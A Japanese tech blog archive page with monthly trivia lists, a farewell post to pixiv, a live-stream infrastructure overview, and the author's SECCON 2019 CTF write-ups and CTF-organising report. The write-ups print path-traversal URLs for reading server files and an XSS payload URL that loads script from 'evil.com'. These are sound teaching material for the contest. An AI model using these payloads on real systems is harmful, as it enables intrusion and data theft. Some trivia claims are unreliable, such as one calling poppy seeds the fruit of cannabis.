博多電光

技術ブログ

2020年3月のトリビア

この記事は博多市がその月に「へえ~」と思ったことをまとめたものである。詳しくは初回の記事を参照。

2020年2月のトリビア - 博多電光

というわけで、2020年3月に収集した事項を掲載する。

注意事項

  • あくまで博多市が面白いと思ったかどうかなので、いわゆるトリビアっぽくないものも含まれている。
  • 原則として自分の中である程度調査して裏付けが取れたものだけを掲載しているが、ちゃんとソースをまとめるのがめんどくさいので正しい情報かどうかの判断は各位でお願いしたい。

トリビア

  • 1970年代を境に伝書鳩の帰巣能力は世界的に低下している。世界レベルの磁気の変化や生態系の変化などが仮説として挙げられている。
  • 日本において、大麻は所持のみが違法であり使用は処罰されない。そもそも大麻の成熟した実である芥子の実は七味の材料などとして日常的に用いられており、これにも微量の大麻成分が含まれているため現在の検査能力では真に大麻として使用したか立証困難だからである。
  • 軍事用語において「全滅」とは部隊の構成要員の約三割が損耗した状態を指す。
  • 2011年までロシアではビールが酒類として扱われていなかった。当然未成年でも合法に飲むことができた。
  • 「めったに起こらないが、起こらないと思って油断していると壊滅的な被害を与える事象」を Black Swan と呼ぶ。17世紀に「黒い白鳥」が発見されるまで白鳥はすべて白いと考えられてきたことに由来する。
  • フリーマーケットサイトなどで行われるクレジットカード現金化が取り締まられる際の主要な法的根拠は「出資法違反」である。取引を通して紙幣の額面以上の金額を受け取る行為を融資とみなせば超高金利の違法融資となるためである。
  • 海藻類の多くは、陸上に棲息する多くの植物とは反対に、晩秋に芽吹いて、冬から春にかけて成長し、夏になると枯死するというサイクルを経るものが多い。
  • 一般には宇宙は無重力ではない。例えば国際宇宙ステーションの高度は地表から約400kmであり、この距離では地表と比較して約90%もの重力が地球に対して働いている。
  • 「ポン酢」の「ポン」は「フルーツポンチ」の「ポン」と同根である。
  • よく知られている「上を向いて歩こう」の英題「Sukiyaki」の由来は原作の内容と全く関係がなく、一説にはこの曲を欧州に知らしめたイギリスのトランペッター、ケニー・ボールがCDリリースの際、彼が知っていた日本語の単語が「Sukiyaki」と「Sayonara」くらいしかなかったためSukiyakiとプリンティングしたことに由来するという。
  • 人間の毛髪には健康な状態でも数ppm程度の水銀が含まれており、一般的に毛髪水銀と呼ばれる。この濃度は魚介類を多く摂取するほど高くなる。

5年間アルバイトを勤めたピクシブ株式会社を退職します

誰?

博多市 (@hakatashi) です。

主にフロントエンドを好むエンジニアです。

大学4年生です。たぶん今日で学生終了です。

何してた?

アルバイト入社以来いろんなチームを転々としながら、フロントエンドを中心にWeb開発を行っていました。

  • pixiv
  • pixiv小説
  • pixiv小説モバイル
  • pixivコミック
  • pixivノベル
  • pixiv Sketch
  • pixiv Sketch Live

エンジニアとして社のブログもいくつか書きが、こうして並べて見ると何してるエンジニアなのかかなり不明です。

ピクシブはどうだった?

アルバイトとしてのpixivの5年間は、ひとえに「幸福」の一語に尽きます。

5年前アルバイトとして入社したとき、自分は謙遜抜きで未熟なプログラマーでした。当時書いていたコードを今見返してみるとまさに物の道理を知らないプログラマーの児戯といった風情で全く恥じ入るばかりです。

それから5年、pixivでのアルバイトの経験は僕に様々なことを教えてくれました。開発における心構え、プロダクトを作るということの如何を学びました。1人で開発しているだけでは決して得られないイベントの経験を何度も得ました。技術に秀でた貴重な知人を得ました。pixivは僕を育ててくれました。

もしも今の自分を、すごい、優秀だと褒め称してくださる方がいるなら、おそらくその半分以上がpixivという環境のおかげです。感謝が尽きることがありません。

加えて、「創作文化を尊重する」という点にかけても、pixivは自分にとって非常に心地よい空間でした。

「創作活動がもっと楽しくなる場所を創る」という企業理念に違わず、pixivはインターネットの創作文化を支援するにかけて実利的に日本で最も寄与する企業であると考えています。のみならずそれを構成する社員の一人ひとりも一次創作、二次創作を問わず創作文化を愛する同士であり、その証左に「お絵かきブートキャンプ」などの取り組みも積極的かつ自主的に行われています。自分もまたpixivのヘビーな閲覧ユーザーで創作を愛する自負があり、かるが故にpixivでの業務は常に指針として己の欲するところを為すものでした。巷では創作者を理解する心なきようにpixivの運営主体を扱い謗る風評も時として罷り通っていますが、その内実からすればとんでもない話です。

なぜやめる?

大学卒業につき他社に就職を決めたためです。

就職先については大いに悩みました。もちろんピクシブからもオファーを受けていました (それも好条件で) が、最終的に他社を選択したのは、それがより自分にとって厳しいものであると思えたためです。

思えばこれまでの人生の岐路において、自分は常に厳しい道を選択したと思います。大学を選ぶにおいても内部競争の激しいところを選び、学科選択においても一度内定した学科を蹴りわざわざブラックと名高い学科に進学したりしました。

狭き門より入れ、艱難汝を珠にす――とは、敢えて言いません。実際僕はこの選択によって多くの「不利益」を蒙りました。大学の学科振り分けに際しては幾度となく躓き最終的に3回も留年を重ねる羽目になり、一時は真面目に退学を考えました。先日の報告のとおり無事卒業を迎えることができましたが、自己研鑽の意味においても本学を選んだことは必ずしも妥当な選択ではなかったと、今ではそう思います。

しかしそれでも、事ここに至って再度「過ち」を繰り返そうとするのは、自分が安寧な環境において何かを成せる人間だと思えないからです。僕は人より幾分か長い大学生活の中で、深い絶望の底でしか紡げない文学があることを知りました。劈く耳鳴りの中でしか鳴らせない音楽があることを知りました。これはエンジニアリングの道においても同じだと思います。大業成すには死狂いなるべし。水の流れていればこそ鯉が滝を登るように、とりわけ自分のような白面郎には常に自らをタフな環境に置くことこそ重要だと考えました。

創作の庭からは、一旦離れることになります。先に述べたとおり自分にとって創作文化とは著しい傾慕の情を惹起させるところ、その一助に自分も加われないことに後ろ髪を強く引かれる思いですが、またいつかと割り切って差し当たり道を分かつことにします。もしかしたらとんぼ返りなんてことになるかもしれないですし。

今後は?

今春から Google Japan にソフトウェアエンジニアとして就職する予定です。チームは Google Maps 関連になる予定です。と言っても、コロナウイルスの影響でまだしばらく仕事がないようですが⋯⋯。

CTFや同人誌の執筆などの個人活動は継続する予定です。大学は卒業しますが TSG CTF 2 もたぶん開催します。

最後に改めて、pixivでお世話になった多くの方々に感謝いたします。狭い業界、またどこかで会いましょう。ありがとうございました。

2020年2月のトリビア

日常生きているといろんなことに感心したり、なるほどと思ったりする。しかしそんな小さななるほど感は1ヶ月も経てば忘れて知識としては全く定着しないことが多い。そこで、日頃から「へぇ~」と思ったことをメモしておいて、1ヶ月に1回くらいの周期でまとめようと思った。

とりあえず、2020年2月に収集した事項を掲載する。あくまで博多市が面白いと思ったかどうかなので、いわゆるトリビアっぽくないものも含まれている。

原則として自分の中である程度調査して裏付けが取れたものだけ掲載しているが、ちゃんとソースをまとめるのがめんどくさいので正しい情報かどうかの判断は各位でお願いしたい。

トリビア

  • 日本の有効な記念硬貨には10万円の金貨が存在する
  • 「裸の王様」の原案では衣服は「不義の子には見えない」という設定だった
  • 「凶」の部首「凵」は凵繞(かんにょう)である
  • 兜割りは技を極めた剣術家の最高峰の妙技である。明治の天覧兜割りでは榊原鍵吉なる当代一の剣術家が実際に挑戦し鉄兜の頭頂を3寸ほど切り込むことに成功したという
  • e+πが無理数であることは2020年現在証明も反証もされていない
  • 渋谷109の名前の由来は「東急」→「10・9」の語呂合わせである
  • 日本語「かわいい」と漢語「可愛」の関連はよくわかっていない。日本語の語源は「顔映ゆい」とする説が有力だが、表記は漢語に依るという説もある。少なくとも現代中国語で「可愛」は通じる。
  • 人間の脳が仲間と認識できるのは150人が限界である
  • 酒類のCMは自主規制により「25歳以下の出演」「喉元アップの描写」などが禁じられている
  • 1900年前後まで地球の年齢は1億年前後と見積もられていた
  • 酒気帯び運転とは血中アルコール濃度が基準以上の状態による運転、酒酔い運転とは飲酒により判断能力が低下した状態での運転である。後者のほうが重い。
  • 三大ブルーチーズの一つゴルゴンゾーラの由来はイタリアのゴルゴンゾーラなる街名が由来だが、現在ここでチーズは製造されていない
  • ロシア名産とされるマトリョーシカ人形の歴史は意外と浅く、1900年のパリ万博以前の歴史には登場しない。
  • パプリカは唐辛子である
  • どて焼きの名前の由来は最初に鉄鍋の縁に土手状に味噌を盛ることからである
  • キヤノンキユーピーアロンアルフアシヤチハタオンキヨー
  • 予防医学の研究の進展により、現在ではうがいによる感染症の予防効果は認められていない。実際、新型インフルエンザ流行の際の厚生労働省のQ&Aにはうがいの記述があるが、新型肝炎のQ&Aではうがい関連の記述が削除されている。
  • 陸上で最も海から遠い点、ないし海上で最も陸から遠い点のことを到達不能極と呼ぶ。
  • 「ファストフードによくついてくる、ジャムとマーガリンを同時に出せるあの容器」の正式名称は「ディスペンパック」……ではなく、「パキッテ」である。2019年名称変更。
  • 衛生および美容の観点からは、洗髪時のシャンプーはほぼ不要である
  • expectは「当然そうすべきと期待した」、You'd better は「絶対に~するべき」、どちらも強いニュアンスを持つ単語なので注意して使うべきである

TSG LIVE! を支える技術 その1 ~全体構成~

この記事ではTSGが定期的に行っているライブ放送を支える技術をご紹介いたします。

※この記事は TSG Advent Calendar 2019 の2日目の記事です。

TSG LIVE! とは

博多市が所属するサークルでは、近年「プログラミング生放送 TSG LIVE!」と称して、TSG部員がプログラミングを行う様子を実況解説付きの生放送で配信する企画を東大の学園祭で企画しています。つい先月も東京大学駒場祭に合わせて第4回の放送が行われました。アーカイブも配信されているのでぜひ合わせてご覧ください。

この企画の裏側では、見かけによらず非常に多くのコードやインフラが動いています。同じようなライブ放送を行うことを考えている方のために、また TSG LIVE! を支える技術を後輩に継承していくために、このライブを裏側で支える技術を数回に分けて詳細に解説していこうと思います。

TSG LIVE! の表側

まずは TSG LIVE! 自体にどのような機能があるか、順を追って解説していこうと思います。

f:id:hakatashi:20191203191749p:plain

これが TSG LIVE! の放送画面です。

サイドバーを除いた左側の画面が放送のメイン画面であり、実況者のPC画面が映されています。ここにあらかじめ用意したスライドやプレイヤーの画面などを映してライブを進行していきます。

右側のサイドバーには現在放送中のライブの情報がリアルタイムに表示されます。右上には TSG LIVE! のロゴと、現在のライブ全体の対戦状況が表示されています*1

中央辺りにあるのが現在の試合ステータスであり、現在放送中のライブで行われている対戦の様子がリアルタイムで更新され表示されます。その下にあるのが試合の残り時間を示すタイマーです。試合の経過に合わせて刻々と減っていきます。

一番右下にあるのがコメント欄です。ライブに対するコメントが流れていきます。このコメントは、

が全て合わせて表示されます。

画面左下には、試合の経過に応じて、重要な動きがあった場合に通知が表示されます。例えばコードゴルフ大会でプレイヤーからの提出があった場合などです。また同じ場所にプレイヤーのぼやきや戦略についてのコメントが表示されるプレイヤーコメントも表示されます。

f:id:hakatashi:20191203193040p:plain

この企画ではプレイヤーは別室に待機して対戦を行うのですが、ライブでは時折、プレイヤーがプレイしている様子が放送に映し出されます。この画面は実際にプレイヤーが対戦しながら表示しているデスクトップ画面をキャプチャーしたものであり、実況者がプレイヤーの一覧を眺めながら自由に切り替えられるようになっています。

f:id:hakatashi:20191203193549p:plain

また、今回の TSG LIVE! 4 では、オープニングトークで特別企画「たほいや」が行われました。この企画では視聴者がゲームに同時に参加することができ、「単語の意味」を放送中に登録でき、また管理画面で登録された意味をモデレーターがリアルタイムにモデレートできるようになっています。

f:id:hakatashi:20191203193947p:plain
たほいや」管理画面

なお、この放送は YouTube Live とニコニコ生放送の同時配信放送になっており、どちらからも同じ放送を視聴しコメントすることができるようになっています。

TSG LIVE! の全体構成

以上の仕様を満たすシステムを実現するために、多くのサービスを利用するとともに、専用ソフトの開発を行いました。全体の構成図をまとめてみると以下のようになります。

f:id:hakatashi:20191203194106p:plain
TSG LIVE! インフラ構成図

(draw.ioを使って書きました。初めて使ってみましたがなかなか悪くないです)

次回からはこの構成の各部のはたらきについて順を追って詳しく解説していきます。

*1:TSG LIVE! では「本郷チーム」と「駒場チーム」に分かれて戦うというコンセプトになっており、ライブ全体の累積得点で勝敗が決します

#SECCON 2019 Online 「Tanuki」「Crazy Repetition of Codes」「fileserver」「SPA」の解説と講評のようなもの

本日開催された SECCON 2019 Online CTF の予選では、前回優勝チームであるチームTSGが作問協力を行いました。博多市はチームTSGの一員として「Tanuki」「Crazy Repetition of Codes」「fileserver」「SPA」の4問を提供したので簡単な解説と講評を行いたいと思います。

※For international readers: English version will be published sooner or later.

Tanuki (misc, 439pts)

Behold! We invented the brand-new, super-difficult, hyper-cryptic, and ultra-undecipherable cryptosystem for this SECCON CTF 2019! And we have the name of it: たぬき (Tanuki) !

Samples

  • Ciphertext 1: たたせくたこたたたんた
    Plaintext 1: せくこん

  • Ciphertext 2: たSたEたたたたたCCたたたたたOたNたたた
    Plaintext 2: SECCON

Oh, it's too difficult for you to decrypt? So then... TRY HARDER!

添付ファイル: tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz

解法1

一見解読不能に見える暗号ですが、よく考えてみましょう。ヒントは問題タイトルであり暗号の名称でもある「たぬき」です。「たぬき」、「た」「抜き」⋯⋯そう、「た」の字を抜けばいいのです!

実は、この暗号では暗号文を走査して「た」以外の文字を拾うことで平文を得ることができます。配布されたテキストファイルに対しても同様に上の操作を行うことでフラグを得ることができます。終了。

なお注意点として、配布されたファイルは展開すると2,906,376,313,410,896,280,535,164バイト (=約2.40ヨタバイト) になります。おそらく1つのハードディスクには収まらないので、追加でファイルを保存するためのハードディスクを購入しましょう。

2019年10月現在、価格.comで最もバイト単価の安いハードディスクはSEAGATEST4000DM004で、7580円/4TBでした。よって、かかる費用は 2,906,376,313,410,896,280,535,164B × (7580円 ÷ 4TiB) = 5,009,117,661,675,580円 (=5009.117兆円) で済みます。

5000兆円を持っている方はぜひ試してみてください。

解法2 (5000兆円を持っていない場合)

f:id:hakatashi:20191020212212p:plain

5000兆円を持っていない場合でも、ご安心ください。工夫をすることで費用をぐっと抑えることができます。

gzipを何度か展開した後のファイルを調べてみると、データ中に単純な繰り返しパターンが多く現れていることが分かります。

gzipで用いられているDEFLATE圧縮では、LZ77と呼ばれる符号化手法が用いられています。この符号化はこれまでのデータから一致する部分を探し出しコピーしてくるというものですが、コピー元のデータが直前にある場合は、この符号化は実質的にランレングス圧縮とみなすことができます。与えられたgzipファイルのLZ77符号はほとんどがこのような直前のデータを繰り返すデータで構成されているため、圧縮元のデータをうまくランレングス表現で持つことで、データを完全に展開することなく効率的に元のデータを復元することができます。

さらに一歩考え方を進めてみましょう。今回のTanuki暗号ではフラグを表す文字列以外の部分はすべて単純な「た」の字の繰り返しであり、その繰り返しの長さに関しては問われません。仮に元文字列の繰り返しがより少なかったと仮定した場合、圧縮後のデータ列の繰り返し回数を表現する部分の数値が減るだけでデータの構造自体には影響を与えないでしょう。逆に言えば、展開時に圧縮後のデータ列の繰り返し回数を表現する部分を変更しても、元データの「た」の繰り返し回数が変化するだけでそれ以外の部分には影響を与えません。

即ち、この問題を解くにはデータの展開時にDEFLATEの符号列上から単純にデータの繰り返しを表現する部分を除去するだけで十分です。このように実装することで、もはやランレングス表現を持つ必要もなく、既存のDEFLATE展開ライブラリの実装を少し改造するだけで簡単にフラグを得ることができます。

ソルバスクリプト全体は後ほどSECCON運営から公開されると思いますが、抜粋すると以下のような感じです。いろんな言語/ライブラリで実装できると思いますが、今回はNode.jsおよびzlib.es (にパッチを当てたもの) を使用してみました。

const fs = require('fs');
const {inflate} = require('./lib/zlib.js'); // patched to emit tokens

let gzip = fs.readFileSync('tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz');

for (const i of Array(12).keys()) {
  const headerEnd = gzip.findIndex((byte, index) => index > 10 && byte === 0);
  const zlib = Buffer.concat([
    Buffer.from('789C', 'hex'),
    gzip.slice(headerEnd + 1, -8),
    gzip.slice(-4),
  ]);

  const {tokens} = inflate(zlib);

  const newBytes = [];
  for (const token of tokens) {
    if (token.type === 'data') {
      newBytes.push(token.value);
    }
    if (token.type === 'repeat') {
      if (token.distance <= token.length) {
        // data copy overlaps and is repeating previous data. just ignore them
      } else {
        newBytes.push(...newBytes.slice(-token.distance, -token.distance + token.length));
      }
    }
  }

  gzip = Buffer.from(newBytes);

  if (i === 11) {
    console.log(gzip.toString().replace(/た/g, ''));
  }
}

Crazy Repetition of Codes (Crypto, 326pts)

上のTanukiを作問した際についでに完成した問題です。

I'm crazy about googology!

文字列を int("1" * 10000) 回連結した際のCRC32チェックサムを求めよ、という問題です。

解法1: 巡回符号の有限級数として計算する

文字列sをn回繰り返した文字列のCRCを求めることを考えます。巡回符号はGF(2)上の多項式環で表せるので、sの多項式表現をS(x)、sのビット長をLsとすると、対象の文字列の多項式表現W(x)は

f:id:hakatashi:20191020223716p:plain

と表現できます。求めたいCRCはW(x)の生成多項式G(x)による剰余から求まります。

この式はそのまま初項S(x)、公比xLs等比数列の有限級数とみなせます。よって等比数列級数の公式を用いて

f:id:hakatashi:20191020223629p:plain:w300

を直接計算することで上の式の計算結果が求まります。除算は拡張ユークリッドの互除法を用いて逆元を計算すればよいでしょう。累乗の計算に繰り返し二乗法 (バイナリ法) を用いれば計算量はO(logn)で、n=1010000であっても間に合います。

その他、繰り返し二乗法を用いて文字列連結を行うことでも高速に求まります。

解法2: 鳩の巣原理を用いる

⋯⋯という問題だったはずなのですが、競技終了後Writeupを拝読したところ、

falconctf.hatenablog.com

方針は単純。どっかでループすると思われるので、それを特定する。ランダム要素がないので最悪でもcrc32を232回ぶん回せばループが発覚する。鳩ノ巣原理。

なるほど、盲点でしたが確かにそのとおりです。CRCは定数倍が軽いので232回で愚直に実装しても間に合う可能性が高いでしょう。

CRC64とかで出題するべきだったなあ

fileserver (Web, 345pts)

かなり難産でした。最終的にわりと綺麗な問題になったんじゃないでしょうか。自信作です。

I donno apache or nginx things well, I guess I can implement one for myself though. See? It's easy!

すでに想定解のWriteupが多数公開されているので端折りながら解説します。

解法 前半 Dir.globのヌル文字による挙動を利用する

Dir.globのドキュメントを読むと、

パターンを文字列で指定します。 パターンを "\0" で区切って 1 度に複数のパターンを指定することもで きます。 パターンの区切りには "\0" のみ指定できます。 配列を指定することで複数のパターンを指定できます。

とあります。Rubyのファイル読み込み系メソッドとヌル文字の関係については、CVE-2018-8780CVE-2019-15845などが記憶に新しいですね。このDir.globの挙動もこの類のものですが、これに関してはドキュメントにも載っているれっきとした仕様であり脆弱性ではありません。なんでなんですかね⋯⋯

これを利用して以下のようにフラグファイル名を取得します。

http://fileserver.chal.seccon.jp:9292/hoge%00/tmp/flags/

なお、この仕様は今年12月にリリースされる予定の Ruby 2.7.0 で廃止される予定です。

解法 後半 is_bad_pathの脆弱性を利用する

上と同じ手法を用いて喜び勇んでフラグの中身を取得しにいくと、今度は以下のようなエラーでにべもなく突き返されます。

Internal Server Error

path name contains null byte

ほぼ同じコードなのになぜ今度はエラーになるのかというと、Dir.globの少し下、File.extname関数にパスを渡す際にヌル文字が含まれるとエラーがraiseされて処理が中断してしまうためです。

ファイルの存在性確認では

matches = Dir.glob(req.path[1..])

ということをしているので、一見 //tmp/flags/xxx.txt/../../../../tmp/flags/xxx.txt が通りそうですが、これらはいずれもWEBrickのURLのノーマライゼーション処理で殺されてしまいます。

想定解では、is_bad_pathの早期breakのバグを用いて、

  • /.\./.\./.\./.\./.\./.\./.\./tm{p,\[}/flags/xxx.txt

のようなURLでWEBrickノーマライゼーションを回避しながらアクセスします。また、

  • /.{a,}./.{a,}./.{a,}./.{a,}./tm{[,p}/flags/xxx.txt
  • /{.}{.}/{.}{.}/{.}{.}/{.}{.}/tm{[,p}/flags/xxx.txt
  • /{aa[a,/tmp/flags/xxx.txt}

などでも正解できます。

なお、

  • /.\./.\./tmp/flags/{a,b,c,d,...}{a,b,c,d,...}{a,b,c,d,...}....txt

のようなURLを用いることで解法の前半をスキップできそうですが、僕が検証した限り今回のフラグファイル名にマッチするためにはどのように組み立てても4000文字以上になってしまい、WEBrickの MAX_URI_LENGTH (= 2083) を超えるようになっています。もしこの方針で解けた方がいたら面白いので教えてもらいたいです。

SPA (Web, 427pts)

Last day my colleague taught me the concept of the Single-Page Application, which seems to be the good point to kickstart my web application development. Well, now it turned out to be MARVELOUS!

SECCON開催直前にひねり出したXSS問です。解答者少なかったけど何も難しくなくないですか? wow wow

解法

location.hash経由でユーザー入力を与えられて、$.getJSONの引数に食わせることができます。つまり任意のJSONが与えられるということで prototype pollution やVue.jsの DOM-based XSS を疑った方もいたようですが、残念ながらそちらはハズレです。

だいぶメタ読みですが、Vue.jsのプロジェクトなのにわざわざ$.getJSONのためにjQueryをロードしているのはかなり不自然だと思います。普通はfetchとかでは? まあそれをカモフラージュするためにわりと本気のSPAを作ったんですが⋯⋯。

$.getJSONのドキュメントにあるとおり、引数のURLに?hoge=?のような文字列を含めることで動作モードを強制的にJSONPにすることができます (なおこの挙動は$.ajaxや$.getなどで共通です)。これを用いて以下のように攻撃用jsを食わせることでXSS可能です。

  • http://spa.chal.seccon.jp:18364/#/evil.com/xss.js?callback=?&yakuza

TSG CTF 開催記

※めっちゃ長いです。

博多市です。

先日5月4日から5日にかけて、東京大学のサークルTSGの主催により、TSG CTF が開催されました。博多市はイベント自体の発案から全体の進行を司るなど、実質的に TSG CTF のリーダー的役割を果たしました。

今回、CTFを開催するという決して前例の多くない仕事を遂行する上で、貴重な先人たちの開催記やブログ記事に助けられました。なので、恩返しする意味も込めて、今回僕が TSG CTF を開催しての知見や感想、反省点をなるべく細かく書いていこうと思います。

TL;DR

  • CTFを主催するのは、大変だけど、楽しい!

開催に至るまでの経緯

まずは自信をつけるということ

さて、まず前提として共有しておきたいのは、CTFの大会を主催するというのは、とてもハードルが高いということです。

我らがTSGは、これまでチームTSGとして多くのCTFに参加してきましたが、逆に我々がCTFを主催する側に立つというのは去年の半ばくらいまで全く考えもしていませんでした。これは他の多くのCTFチームでも同じことだと思います。

理由はいくつかありますが、第一に、CTFを主催する際には、サーバーインフラの管理やチームマネジメントなど、CTFに参加するのと全く別の能力が必要になることが挙げられるでしょう。そしてさらに大事なこととして、CTFを主催するチームはCTFにとても強くなくてはいけないということです。

「普段CTFに参加しない人/団体が主催するCTFはクオリティが低い」というのはこの界隈ではよく取り沙汰される話です。実際に僕自身の経験からしても、どのような問題がCTFの問題として優れているか、というのはCTFに何度も参加しないとわからない話だと思いますし、難しい問題を作るにはその分野に関する相応の知識や経験を持っていないといけないという側面もあります。

実際にCTFを主催しているMMAやDragonSectorなどのCTFチームの強さや、FacebookGoogleなどの企業のビッグネームを眺めるにつけ、やはりぽっと出の新参チームがCTFを主催などしてよいのかと怖気づいてしまいます。もちろんこれらの重圧を振り切って軽々にCTFを主催しろ、などと主張するつもりはありませんが、今回僕がTSGでCTFを主催しようと心を固めるまでに、そしてTSGのメンバーを説得する上で一番の障害となったのは、やはりこの「CTF開催における心理的障壁の高さ」でした。

二度のライブCTF

そういうことなので、我々TSGがCTFを主催するに相応しいチームであるという自信をつけるまでには、結構な紆余曲折がありました。一番のきっかけになったのは、東京大学の学園祭でTSGが行ったイベント「ライブCTF」でした。

TSGでは昨年から「TSG LIVE!」というライブコーディング企画を行っています。これはCTFほか競技プログラミングコードゴルフなどのプログラミングにまつわる競技を解く様子を実況解説付きで放送するというもので、このライブCTFもその放送枠の中の企画の1つでした (詳しくは以前書いたブログ記事を参照)。

昨年は五月祭と駒場祭の2回このライブCTFを行いました。CTFを開催するのはハードルが高い、と言いつつも、第1回の五月祭ライブでは「まあ、内輪向けのCTFだし」ということで割と気軽に、それこそ半分くらいは過去問のコピーで良いや、という気持ちで問題を用意しました (ちなみに、我々のほとんどはこのときのライブCTFがはじめての作問経験でした)。

ところが放送当日、多くの視聴者から「解く様子を見たり解説を聞いたりするよりも実際に解いてみたい」という声を頂いて、多くのCTF競技者が実際に放送をご覧になってくれたことに喜びを覚えるとともに、彼らのアグレッシブさに驚かされました。これを受けて第2回の TSG LIVE! 2 では、第1回の反省を踏まえ、プレイヤー用に用意した問題を外部にも公開し、プレイヤーと同時に自由に解いてもらえるようにしました。準備段階では「参加するとしてもせいぜい数チームやろ」などと話し合っていましたが、本番では予想を遥かに超えて様々なチームやプレイヤーに参加してもらえるなど、多くの反響を得ました。ありがたい限りです。

このとき作問を担当していたのが、今回の TSG CTF でも大いに貢献してくれた@kczと@satosで、実際にライブCTFの問題を解いてくださった皆さんからも彼らの問題はかなり評価が高かったようです。特に好評だったのは@satos作問の「ROP4」「ROP1」で、国内の著名なCTFプレイヤーからもよい評価を頂くことが出来ました。(なお、これらの問題のwriteupは https://moraprogramming.hateblo.jp/entry/2018/12/04/121940 で公開されています。)

半ば偶然のような形ですが、実際に作問を行い外部の人に解いてもらうという得難い経験をこうして得たことにより、イベント気質の博多市は「これだけの良問を作れるメンバーが大学内に揃うタイミングは今しかないかもしれない。TSG CTF を開催するべきではないか⋯⋯?」という考えを得ることになります。

SECCON優勝

この気持ちを後押ししたのが、昨年12月に開催された SECCON CTF 2018 Finals です。すでに見知った方も多いでしょうが、この大会で我々チームTSGは栄えある国際優勝の冠を戴くことができました。

この大会に関しては必ずしも良きように風聞される限りではなく、おそらく運営や出題に対して何かしら思うところのある方も多いかもしれませんが、我々としては何はともあれ国内最大の大会で優勝、という実績を得たことにより、対外的なCTF開催の自信を得ました。

CTF開催に向けて具体的なアクションを取り始めたのもこのあたりからだったように思います。

開催スケジュール

CTFを開催する上で一番最初に決めるべきなのは日程です。この際に最も重要なのは他のオンラインのCTFと被らないような日程を選ぶということです。

今回我々は日取りに関しておおよそ運営側の制約がなく、ほぼ自由に開催日を選ぶことができましたが、逆に言うとそのぶん適切なスケジュールを決めるのには難航しました。

24時間ないし48時間のCTFを開催するなら、土日に行うべきなのはまず間違いないでしょう。しかし後述するCTFTimeに登録されている大会だけでも毎週末何かしらのCTFが開催されるため、新規のCTFが他のイベントと被らないようにするためには相当に気を使う必要があります。

このとき、やはりCTFTimeに登録されている大会スケジュールを参照するのですが、数ヶ月後の大会となると登録も告知もされていない大会が多く、予測はかなり困難を極めます。このあたりは昨年の開催実績を見ながらある程度エスパーしたりするのですが、今回実際に開催して気づいたのは、定期的に行われる年次大会でも意外と毎年違う時期に開催されているということです。これは特に有志のCTFチームによって開催されるCTFに顕著なのですが、やはり TSG CTF と同じように日取りに関してはかなり自由に決められるのか、非常に不規則な時期に予定を突っ込んできます。昨年度の開催記録は半分あてにならないと考えたほうがいいでしょう。

今回 TSG CTF が5月上旬という日程を選んだのには、いくつかの理由があります。

  • スケジュール確定時点で他のCTFとかぶらないような日程だったこと
  • 作問者が大学生である都合上、試験や学園祭などの大型の予定と被らないものであること
  • ゴールデンウィークの10連休の最後の土日だったこともあり、準備作業にたっぷり時間を取れるスケジュール感にできること

しかし、先も言ったとおり数ヶ月先のCTFのカレンダーは予測がつかないので、スケジュールを決めたらあとは他のCTFと被らないよう祈るしかないと思います。TSG CTF は蓋を開けてみれば残念ながら InsH'ack CTF とバッティングしてしまいましたが、これはある程度仕方のないことだと思います。また結果論ですが、かぶっていたのが72時間のCTFの後半部分ということで、あまり深刻にバッティングした感じはありませんでした。

ちなみに、実は当初の予定だと TSG CTF は12月ごろに企画して2月か3月ごろに開催するつもりだったのですが、あまりに予定が急すぎたのと計画時点ですでに候補日が他のCTFで埋められていたため延期になりました。やはりCTF大会の準備は数カ月は必要ですね⋯⋯。

CTFTime

CTFTimeはCTFerなら誰もが知るCTFのポータルサイトであり、ここでの宣伝はプレイヤーへの認知のためにも非常に重要です。特に国内向けCTFなど一部のCTFでは意図的にCTFTimeに登録しないことも多いようですが、後述するように TSG CTF は世界を相手にした国際CTFとすることを当初から考えていたため、CTFTimeに登録することを決めていました。

CTFTimeでは通常のインターフェイスの他に自身が主催するCTFの管理ができる特権チームが存在し、CTFを登録するためには個別に運営に問い合わせてこの権限昇格をお願いする必要があります。おそらく場合によるでしょうがTSGの場合この手続きに1週間以上かかりました。TSG CTF では開催スケジュールの公示と同時に問い合わせを送りましたが、CTFTimeに登録できないとそもそも存在が認知されず、他大会とスケジュールがかぶる可能性が高まることを考えると、なるべく早めに、もしくはスケジュールを告知する前にこの手続きをしたほうがいいでしょう。

まあ、こんな経験そうそうする人がいるものではない気がしますが⋯⋯。

プレスリリース

今回の TSG CTF では、他の多くのCTFと同じく、スコアサーバーと別に特設サイトを設置しました (ちなみに、こちらの特設サイトもFlatt社のみなさんに制作していただきました。感謝!)。そして比較的挑戦的な試みとして、特設サイト公開と同時にプレスリリースを打っています。

こういった事を行うのは完全に初めての経験だったのですが、TSGが今後一般向けの活動を行う上で、広報手段の一つとしてどういったものなのかちゃんと学んでおきたい、というのが大きなモチベーションでした。

今回、Flatt側とTSG側で2種類のプレスリリースを作成し、Flatt側からは主にビジネス的な内容を、TSG側からは主に技術的な内容を中心とする文面で公開しました。このうちTSG側のプレスリリースは以下のウェブメディアに対して内容を送付しました。

うち、実際に記事にして頂いたのは Security NEXT の一社でした。この場を借りてお礼申し上げます。また、Flatt側のプレスリリースはPRTimesによる有償掲載を行っています。

これらはCVRなどちゃんと数値が取れているわけではありませんが、特設ページへのアクセス数などから察するにあまり費用対効果の高いものではなかったと思います。こういう狭い界隈に対する広報手段としてよく言われることではありますが、やはり一般向けの広告などはあまり効果が高くなく、地道に口コミで耳目を集めるしかないのかな、と思います。もし次回以降があるとしたらおそらくプレスリリースは打たないと思います。

ちなみに、TSG側のプレスリリースには「不正プログラム摘発に関するTSGの声明」と題した怪文書が添付されていますが、こちらは僕個人の強い要望により掲載したものです。昨今の事件に関して個人的にも物言いしたい気持ちがあったため、いいチャンスだと思ってTSG内で意見をまとめて掲出したのですが、そもそもプレスリリース自体があまり注目されなかったこともあって世間からの反響はほぼありませんでした。出すならもっと大々的にやらないといけませんね。

そして、これは完全に余談ですが、プレスリリース公開に合わせてTSGの公式サイト全体のフルHTTPS化を行いました。まあ、体面を飾る意味でもそうですし、こういう機会に少しずつメンテを行っていくのは大事だと思います。

TSG CTF のコンセプト

今回 TSG CTF を主催する上で、大会のコンセプトとして常に心に留めていたことがいくつかあります。

クソ問を出題しない

